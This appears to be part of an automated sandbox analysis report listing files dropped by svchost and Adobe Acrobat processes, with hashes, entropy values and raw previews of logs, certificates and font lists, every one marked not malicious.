SHA-512:	83E25A4819137275D13FC7A8BAEB5010AA8CA088AC51AAABE6B3911530D4DA5C2E4F61AB90AFC5A912DA68ACDFD6F2BAADCEDC8F42DD7B4DBE7D2643FFA170E8
Malicious:	false
Preview:	....... ...............X\...;...{......................0.p.....#....{..4....}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{......................................4....}..................4+8J4....}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08172663387782099
Encrypted:	false
SSDEEP:	3:MW8YemGZvr8qrrvr+gvrr/HY9llVmctlll/Sm1l1:UzbCgn/HSLPPv
MD5:	341620A656E2C985486AB5EBBF2F79A8
SHA1:	1EC62F7435C7284CE07A2E9B77E812B18BEDF12A
SHA-256:	0BEA03300EF4AC02EC0109CFABCB74E84CEB403BD7C8BD39423CB57940FE25C2
SHA-512:	7774F2309F80F97319CE6599C9C4C4C8A2070432D337AF7B921B2BDE5D2D89BA89DBFCE1D3747045B2635D66FACE5992198CCED7CE5DD6A8D39C07AA5BE30BBB
Malicious:	false
Preview:	Q.J......................................;...{..4....}..#....{..........#....{..#....{...i..#....{.V................4+8J4....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1443283154548665
Encrypted:	false
SSDEEP:	6:iOn/E09+q2PsZ2nKuAl9OmbnIFUtF/4GNJZmwr/4GN9VkwOsZ2nKuAl9OmbjLJ:7n/5+vkcHAahFUtF/b/r/rV51cHAaSJ
MD5:	F2B6FFA93206063C4B833753BCC39E7E
SHA1:	5E894BA6E9D428539152570284AE572B9D709F1A
SHA-256:	92A7AE5545CD80A8F64584B9EF4FC900B8B7C3A8B8B9AFDBC9F08DB2F86E4636
SHA-512:	7F09C6569BAB67A4C142D0D4C29D868B779CFCD790DA4DD0ED7A35D23A122F7CD24D225A21E57CF44CCD5C0098B650AA69838F6B1714FABAE78A616E32FEF46E
Malicious:	false
Preview:	2025/01/11-01:25:52.465 152c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:25:52.467 152c Recovering log #3.2025/01/11-01:25:52.467 152c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1443283154548665
Encrypted:	false
SSDEEP:	6:iOn/E09+q2PsZ2nKuAl9OmbnIFUtF/4GNJZmwr/4GN9VkwOsZ2nKuAl9OmbjLJ:7n/5+vkcHAahFUtF/b/r/rV51cHAaSJ
MD5:	F2B6FFA93206063C4B833753BCC39E7E
SHA1:	5E894BA6E9D428539152570284AE572B9D709F1A
SHA-256:	92A7AE5545CD80A8F64584B9EF4FC900B8B7C3A8B8B9AFDBC9F08DB2F86E4636
SHA-512:	7F09C6569BAB67A4C142D0D4C29D868B779CFCD790DA4DD0ED7A35D23A122F7CD24D225A21E57CF44CCD5C0098B650AA69838F6B1714FABAE78A616E32FEF46E
Malicious:	false
Preview:	2025/01/11-01:25:52.465 152c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:25:52.467 152c Recovering log #3.2025/01/11-01:25:52.467 152c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1201774380322345
Encrypted:	false
SSDEEP:	6:iOn/YX34q2PsZ2nKuAl9Ombzo2jMGIFUtF/WJZmwr/EDkwOsZ2nKuAl9Ombzo2jz:7n/YXIvkcHAa8uFUtF/A/r/a51cHAa8z
MD5:	13E9ACDE880A775A6A01A61000062989
SHA1:	70E70E7F02CE1CD548DDB2776EF002019A29FB0C
SHA-256:	D56136F8CDDDEC1F716664ACDA77742F10436CAA3C05D8EED6B0728B8D494462
SHA-512:	C8BFDDE57F60ACCEB477E3CD498447C0F4ACA3816E6A3D61112973F1A2D23CDF84EF8CFB2823C3245339946DA4356DBBC03AA708094D3E080C7900B8E0F40A9A
Malicious:	false
Preview:	2025/01/11-01:25:52.489 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:25:52.490 1e40 Recovering log #3.2025/01/11-01:25:52.492 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1201774380322345
Encrypted:	false
SSDEEP:	6:iOn/YX34q2PsZ2nKuAl9Ombzo2jMGIFUtF/WJZmwr/EDkwOsZ2nKuAl9Ombzo2jz:7n/YXIvkcHAa8uFUtF/A/r/a51cHAa8z
MD5:	13E9ACDE880A775A6A01A61000062989
SHA1:	70E70E7F02CE1CD548DDB2776EF002019A29FB0C
SHA-256:	D56136F8CDDDEC1F716664ACDA77742F10436CAA3C05D8EED6B0728B8D494462
SHA-512:	C8BFDDE57F60ACCEB477E3CD498447C0F4ACA3816E6A3D61112973F1A2D23CDF84EF8CFB2823C3245339946DA4356DBBC03AA708094D3E080C7900B8E0F40A9A
Malicious:	false
Preview:	2025/01/11-01:25:52.489 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:25:52.490 1e40 Recovering log #3.2025/01/11-01:25:52.492 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.949270648743248
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqeesBdOg2H7caq3QYiubPyP7E4T3y:Y2sRdsZDdMHC3QYhbC7nby
MD5:	94800E22CA6AE61779420D5117807585
SHA1:	FC215539245BAA16AA81209B20C2AB46B7574767
SHA-256:	A9B06A8E8EDD8A5767BD7544BB7ED39F0AD8F578E557A5C5CFAAD1656E7D7215
SHA-512:	95C89B88C7EE9FE9CC25F62E64209B8A7004900AFAE5258920E38868955D1D26D286FEE9709BDC02C20FBC730727CC9F4572CFA7FAE77292E1E7734FC1DC79BE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136764169118","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":113655},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a8a46872-4ba6-42a8-ad15-3081bf3cd1b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.949270648743248
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqeesBdOg2H7caq3QYiubPyP7E4T3y:Y2sRdsZDdMHC3QYhbC7nby
MD5:	94800E22CA6AE61779420D5117807585
SHA1:	FC215539245BAA16AA81209B20C2AB46B7574767
SHA-256:	A9B06A8E8EDD8A5767BD7544BB7ED39F0AD8F578E557A5C5CFAAD1656E7D7215
SHA-512:	95C89B88C7EE9FE9CC25F62E64209B8A7004900AFAE5258920E38868955D1D26D286FEE9709BDC02C20FBC730727CC9F4572CFA7FAE77292E1E7734FC1DC79BE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136764169118","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":113655},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.23734723827765
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflWgT5:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vB
MD5:	3EDE3EF620A88ED0991D67D26050750E
SHA1:	8957E4AE05C94842FE06F7AF0A0119F26685527E
SHA-256:	497C20EED2872666D3487A6BF523B22A8136D28EFC56012FC842FD3852AF104D
SHA-512:	09392C721D4C4CCE3EFD3A29510D1C4356190F1D1BD04655F5777E4F89DE514021A6FC069B847331BB029965F0045879534DE5B7AAF054A371AA4A1E72D6285E
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133928844905377
Encrypted:	false
SSDEEP:	6:iOn/bPZ4q2PsZ2nKuAl9OmbzNMxIFUtF/qNJZmwr/ZBDkwOsZ2nKuAl9OmbzNMFd:7n/bP6vkcHAa8jFUtF/qX/r/P51cHAab
MD5:	3AFF5EB103819B8E0CB10D9A96C0DA5A
SHA1:	F2170EEAFEA9FDBB6F2D22C592B9F698C15F1974
SHA-256:	B62BC5DBD9C9E59E54B0D3E9609A69469902EAFDDAA082702945F46A3615AEE6
SHA-512:	343AD17D1C5E2166FF75EE7A2133601014505C23664F560AD7FE37ACF34B720EC8B48D7BAB90C20BAADBBDA7AFEFCDDDC4065E9072AF011B6FE59F76042C3489
Malicious:	false
Preview:	2025/01/11-01:25:52.671 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:25:52.672 1e40 Recovering log #3.2025/01/11-01:25:52.673 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133928844905377
Encrypted:	false
SSDEEP:	6:iOn/bPZ4q2PsZ2nKuAl9OmbzNMxIFUtF/qNJZmwr/ZBDkwOsZ2nKuAl9OmbzNMFd:7n/bP6vkcHAa8jFUtF/qX/r/P51cHAab
MD5:	3AFF5EB103819B8E0CB10D9A96C0DA5A
SHA1:	F2170EEAFEA9FDBB6F2D22C592B9F698C15F1974
SHA-256:	B62BC5DBD9C9E59E54B0D3E9609A69469902EAFDDAA082702945F46A3615AEE6
SHA-512:	343AD17D1C5E2166FF75EE7A2133601014505C23664F560AD7FE37ACF34B720EC8B48D7BAB90C20BAADBBDA7AFEFCDDDC4065E9072AF011B6FE59F76042C3489
Malicious:	false
Preview:	2025/01/11-01:25:52.671 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:25:52.672 1e40 Recovering log #3.2025/01/11-01:25:52.673 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438196507634852
Encrypted:	false
SSDEEP:	384:Se8ci5GViBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:LZurVgazUpUTTGt
MD5:	E15E77688737BFB7262192419A6116DD
SHA1:	06E50AA02ED414DD794F0C6CDE9300C6BFC3BC6D
SHA-256:	C9C2D3F061A6B99A03701DD76521CB41C039A1FEB29A8A49D8BF2C9A510A7DB8
SHA-512:	027525B46F9C3B2B28159B6C57BD6684C262EB8FB621D321F23C4815D19CC5A2C3D2FBF20680A0F09602C80E5254088E49EACC4D0CAB39FD281618F344EFAEB2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2151927950126624
Encrypted:	false
SSDEEP:	24:7+tWFa6wKzpqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9H:7MW8WzpqPmFTIF3XmHjBoGGR+jMz+Lh5
MD5:	5651335BF9E3D4D09384F5CE455CC974
SHA1:	EE822FC57AD6F8B9DE77301F220CD7FAF1558488
SHA-256:	F401C64C5194B57443099A6772EFB5C66939E96AF24EC26B93FFDB7D33E8CD66
SHA-512:	D743BEDC5546B99C7F477DC61CD38785FCDCD2CCC0B17B370DD028FE9B0BB7B4D4601FFA8BA6F25E4E59323D147D6CCD56B729ADF176FA538EFE4311A346A09B
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.724273122618336
Encrypted:	false
SSDEEP:	3:kkFklm9Lj/tfllXlE/HT8kZ/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK/pbeT8aNMa8RdWBwRd
MD5:	825DA2E86BD196CEFCFB0E80A3F5523C
SHA1:	6C17B7380ED9808E91FA4A0B6C9116E344353E0F
SHA-256:	3D197931A35B94F966E0892CD5D0D8AAD51BBEB206A22A7842E3B9FD0A2AB696
SHA-512:	D4897A7A877710F9BC0E9A74B8BD70C705B8ADC0373BD2626B0442E352536AA5B94FB3AC75BD5EF9F3F83FCF3D8F437674785AC4F7F55CD0AC7AB17FDAE918EC
Malicious:	false
Preview:	p...... .......... ..c..(....................................................... ..........W....pX..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKeDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2DiDImsLNkPlE99SNxAhUe/3
MD5:	F9A37B2A27D190D29CE7B458F8E83971
SHA1:	ED2336CBCDB4C2950EFD86B39AFC4715B09E9068
SHA-256:	225EC06BF9C8E73C58933E2676C6C0B73234946E15D2AC98395C65ABECA3F947
SHA-512:	9D45C68EBD5E79B2698BED6CA6CAFA72E5A4979375AE97DBCF2E30C66539494D9711B52193DC0B0F5D7AB3734BF55F8D778E69334AD765A69EAFC55D873D2D7D
Malicious:	false
Preview:	p...... .........U^..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 